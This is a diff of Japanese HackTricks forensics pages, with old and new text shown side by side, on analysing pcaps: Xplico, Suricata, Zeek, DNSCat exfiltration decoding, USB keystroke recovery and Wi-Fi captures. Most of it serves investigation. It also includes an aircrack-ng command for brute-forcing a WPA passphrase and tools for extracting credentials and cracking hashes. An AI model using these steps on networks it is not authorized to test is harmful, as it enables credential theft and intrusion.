[**Xplico** ](https://github.com/xplico/xplico)Linuxのみは**pcap**を分析し、その情報を抽出できます。たとえば、pcapファイルからXplicoは各電子メールPOP、IMAP、SMTPプロトコル、すべてのHTTPコンテンツ、各VoIP通話SIP、FTP、TFTPなどを抽出します。 [**Xplico** ](https://github.com/xplico/xplico)_(Linuxのみ)_は、**pcap**を**分析**し、そこから情報を抽出することができます。たとえば、pcapファイルからXplicoは各メールPOP、IMAP、SMTPプロトコル、すべてのHTTPコンテンツ、各VoIP通話SIP、FTP、TFTPなどを抽出します。
**インストール** **Install**
```bash ```bash
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
@ -67,28 +68,28 @@ sudo apt-get install xplico
/etc/init.d/apache2 restart /etc/init.d/apache2 restart
/etc/init.d/xplico start /etc/init.d/xplico start
``` ```
アクセスは _**127.0.0.1:9876**_ で、資格情報は _**xplico:xplico**_す。 _**127.0.0.1:9876**_ に _**xplico:xplico**_ の資格情報でアクセスします。
その後、**新しいケース**を作成し、ケース内に**新しいセッション**を作成し、**pcap**ファイルを**アップロード**してください 次に、**新しいケース**を作成し、ケース内に**新しいセッション**を作成し、**pcap**ファイルを**アップロード**します
### NetworkMiner ### NetworkMiner
Xplicoと同様に、これはpcapからオブジェクトを**分析および抽出**するツールです。[**こちら**](https://www.netresec.com/?page=NetworkMiner) から無料版を**ダウンロード**できます。**Windows**と互換性があります。\ Xplicoと同様に、**pcapsからオブジェクトを分析および抽出する**ツールです。無料版があり、[**こちらからダウンロード**](https://www.netresec.com/?page=NetworkMiner)できます。**Windows**で動作します。\
このツールは、**パケットから他の情報を取得**し、**より迅速**に何が起こっていたのかを知ることができるようにします。 このツールは、**パケットから分析された他の情報**を取得するのにも役立ち、**より迅速**に何が起こっているかを知ることができます。
### NetWitness Investigator ### NetWitness Investigator
[**こちら**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) から**NetWitness Investigator**をダウンロードできます **(Windowsで動作します)**。\ [**こちらからNetWitness Investigatorをダウンロード**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)できます。**(Windowsで動作します)**\
これは、**パケットを分析**し、情報を有用な方法で整理して**内部で何が起こっているかを知る**のに役立つ別の便利なツールです。 これは、**パケットを分析**し、情報を有用な方法で整理して**内部で何が起こっているかを知る**のに役立つ別の便利なツールです。
### [BruteShark](https://github.com/odedshimon/BruteShark) ### [BruteShark](https://github.com/odedshimon/BruteShark)
* ユーザー名とパスワードの抽出とエンコード (HTTP、FTP、Telnet、IMAP、SMTP...) * ユーザー名とパスワードを抽出およびエンコード (HTTP, FTP, Telnet, IMAP, SMTP...)
* 認証ハッシュの抽出とHashcatを使用してクラック (Kerberos、NTLM、CRAM-MD5、HTTP-Digest...) * 認証ハッシュを抽出し、Hashcatを使用してクラックします (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
* ビジュアルネットワークダイアグラム作成 (ネットワークノードとユーザー) * ビジュアルネットワークダイアグラム作成 (ネットワークノードとユーザー)
* DNSクエリ抽出 * DNSクエリ抽出
* すべてのTCPおよびUDPセッション再構築 * すべてのTCPおよびUDPセッション再構築
* ファイルの彫刻 * ファイルカービング
### Capinfos ### Capinfos
``` ```
@ -96,13 +97,13 @@ capinfos capture.pcap
``` ```
### Ngrep ### Ngrep
pcap内で**何か**を**探している**場合は、**ngrep**を使用できます。以下は、主なフィルターを使用した例です: pcap内で**何か**を**探している**場合は、**ngrep**を使用できます。以下は、主なフィルターを使用した例です:
```bash ```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
``` ```
### カービング ### カービング
一般的なカービング技術を使用して、pcap からファイルや情報を抽出するのに役立ちます: 一般的なカービング技術を使用することで、pcapからファイルや情報を抽出するのに役立ちます
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %} {% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
@ -110,42 +111,42 @@ ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.
### 資格情報のキャプチャ ### 資格情報のキャプチャ
[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) のようなツールを使用して、pcap またはライブインターフェースから資格情報を解析できます。 [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz)のようなツールを使用して、pcapまたはライブインターフェースから資格情報を解析できます。
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての沸騰する出会いの場です。 [**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
## Exploits/Malware のチェック ## 脆弱性/マルウェアの確認
### Suricata ### Suricata
**インストールとセットアップ** **インストールと設定**
``` ```
apt-get install suricata apt-get install suricata
apt-get install oinkmaster apt-get install oinkmaster
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
``` ```
**pcapのチェック** **pcapを確認する**
``` ```
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
``` ```
### YaraPcap ### YaraPcap
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap)は次のことを行うツールです。 [**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) は、以下の機能を持つツールです。
* PCAPファイルを読み取り、HTTPストリームを抽出します。 * PCAPファイルを読み込み、Httpストリームを抽出します。
* 圧縮されたストリームをgzipで解凍します。 * 圧縮されたストリームをgzipで解凍します。
* すべてのファイルをyaraでスキャンします。 * すべてのファイルをyaraでスキャンします。
* report.txtを書き込みます。 * report.txtを作成します。
* オプションで一致するファイルをディレクトリに保存ます。 * 一致するファイルをディレクトリに保存するオプションがあります。
### Malware Analysis ### Malware Analysis
既知のマルウェアの指紋を見つけることができるかどうかをチェックしてください: 既知のマルウェアのフィンガープリントを見つけられるか確認してください:
{% content-ref url="../malware-analysis.md" %} {% content-ref url="../malware-analysis.md" %}
[malware-analysis.md](../malware-analysis.md) [malware-analysis.md](../malware-analysis.md)
@ -153,9 +154,11 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
## Zeek ## Zeek
> [Zeek](https://docs.zeek.org/en/master/about.html)は、受動的なオープンソースのネットワークトラフィックアナライザーです。多くのオペレーターは、疑わしいまたは悪意のある活動の調査をサポートするために、ZeekをネットワークセキュリティモニターNSMとして使用しています。 Zeekは、セキュリティ領域を超えたさまざまなトラフィック分析タスクをサポートしており、パフォーマンス測定やトラブルシューティングも含まれています。 > [Zeek](https://docs.zeek.org/en/master/about.html) は、受動的なオープンソースのネットワークトラフィックアナライザーです。多くのオペレーターは、疑わしいまたは悪意のある活動の調査をサポートするために、ZeekをネットワークセキュリティモニターNSMとして使用しています。Zeekは、セキュリティドメインを超えたパフォーマンス測定やトラブルシューティングを含む、幅広いトラフィック分析タスクもサポートしています。
基本的に、`zeek`によって作成されたログは**pcap**ではありません。したがって、pcapsに関する**情報**が含まれているログを分析するためには、**他のツール**を使用する必要があります。 基本的に、`zeek`によって作成されたログは**pcap**ではありません。したがって、**pcap**に関する**情報**を分析するためには、**他のツール**を使用する必要があります。
### Connections Info
```bash ```bash
#Get info about longest connections (add "grep udp" to see only udp traffic) #Get info about longest connections (add "grep udp" to see only udp traffic)
#The longest connection might be of malware (constant reverse shell?) #The longest connection might be of malware (constant reverse shell?)
@ -240,20 +243,21 @@ rita show-exploded-dns -H --limit 10 zeek_logs
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。 [**RootedCON**](https://www.rootedcon.com/) **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** で**ゼロからヒーローまでのAWSハッキングを学ぶ**</strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# DNSCat pcap analysis # DNSCat pcap 分析
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
</details> </details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、**盗難マルウェア**による**侵害**を受けたかどうかを確認する**無料**機能を提供しています。 [**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: 彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
DNSCatによって**暗号化を使用せずに**データが**外部に送信**されるpcapを持っている場合、外部に送信されたコンテンツを見つけることができます。 DNSCatによって**データが外部に流出している**pcapがある場合暗号化を使用せず、流出したコンテンツを見つけることができます。
**最初の9バイト**は実際のデータではなく、**C\&C通信**に関連していることを知っていれば十分です。 最初の**9バイト**は実際のデータではなく、**C\&C通信**に関連していることを知っておくだけで十分です:
```python ```python
from scapy.all import rdpcap, DNSQR, DNSRR from scapy.all import rdpcap, DNSQR, DNSRR
import struct import struct
@ -49,23 +50,24 @@ last = qry
#print(f) #print(f)
``` ```
For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ 詳細情報については: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
There is a script that works with Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) Python3で動作するスクリプトがあります: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
``` ```
python3 dnscat_decoder.py sample.pcap bad_domain python3 dnscat_decoder.py sample.pcap bad_domain
``` ```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}

View file

@ -1,39 +1,45 @@
# USB キーストローク # USB Keystrokes
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**</strong>**ゼロからヒーローまで AWS ハッキングを学ぶ**</summary> <summary>Support HackTricks</summary>
HackTricks をサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **HackTricks で企業を宣伝**したい場合や **HackTricks を PDF でダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
- **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする
- **ハッキングテクニックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに貢献する
</details> </details>
{% endhint %}
USB キーボードの通信を含む pcap ファイルがある場合、以下のようなキーボードの通信を解析するために [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) ツールを使用できます: USB経由でのキーボードの通信を含むpcapがある場合、次のようなものです
![](<../../../.gitbook/assets/image (962).png>)
通信で書かれた内容を取得するために、[**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser)ツールを使用できます:
```bash ```bash
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt
``` ```
以下のリンクから詳細情報を読むことができ、解析に使用するスクリプトも見つけることができます: この分析に関する詳細情報やスクリプトは以下で確認できます:
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup) * [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Wifi Pcap Analysis # Wifi Pcap Analysis
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricks をサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details> </details>
{% endhint %}
## BSSIDの確認 ## BSSIDを確認する
WireSharkを使用してWifiの主要なトラフィックを含むキャプチャを受信した場合、キャプチャ内のすべてのSSIDを調査を開始することができます。_Wireless --> WLAN Traffic_: WireSharkを使用してWifiの主要なトラフィックをキャプチャした場合、_Wireless --> WLAN Traffic_を使用してキャプチャのすべてのSSIDを調査し始めることができます
![](<../../../.gitbook/assets/image (106).png>) ![](<../../../.gitbook/assets/image (106).png>)
@ -24,40 +25,43 @@ WireSharkを使用してWifiの主要なトラフィックを含むキャプチ
### ブルートフォース ### ブルートフォース
その画面の列の1つは、**pcap内で認証情報が見つかったかどうか**を示しています。その場合、`aircrack-ng`を使用してブルートフォース攻撃を試みることができます。 その画面の1つの列は、**pcap内に認証が見つかったかどうか**を示しています。もしそうであれば、`aircrack-ng`を使用してブルートフォースを試みることができます:
```bash ```bash
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
``` ```
## ビーコン/サイドチャネル内のデータ 例えば、PSK事前共有キーを保護するWPAパスフレーズを取得し、後でトラフィックを復号化するために必要です。
**Wifiネットワークのビーコン内でデータが漏洩している**と疑う場合は、次のようなフィルタを使用してネットワークのビーコンをチェックできます: `wlan contains <NAMEofNETWORK>`、または `wlan.ssid == "NAMEofNETWORK"`。フィルタされたパケット内で疑わしい文字列を検索します。 ## ビーコン / サイドチャネルのデータ
**Wifiネットワークのビーコン内でデータが漏洩していると疑う場合**、次のようなフィルターを使用してネットワークのビーコンを確認できます:`wlan contains <NAMEofNETWORK>`、または`wlan.ssid == "NAMEofNETWORK"`フィルタリングされたパケット内で疑わしい文字列を検索します。
## Wifiネットワーク内の不明なMACアドレスを見つける ## Wifiネットワーク内の不明なMACアドレスを見つける
次のリンクは、**Wifiネットワーク内でデータを送信している機器を見つける**のに役立ちます: 次のリンクは、**Wifiネットワーク内でデータを送信しているマシンを見つける**のに役立ちます:
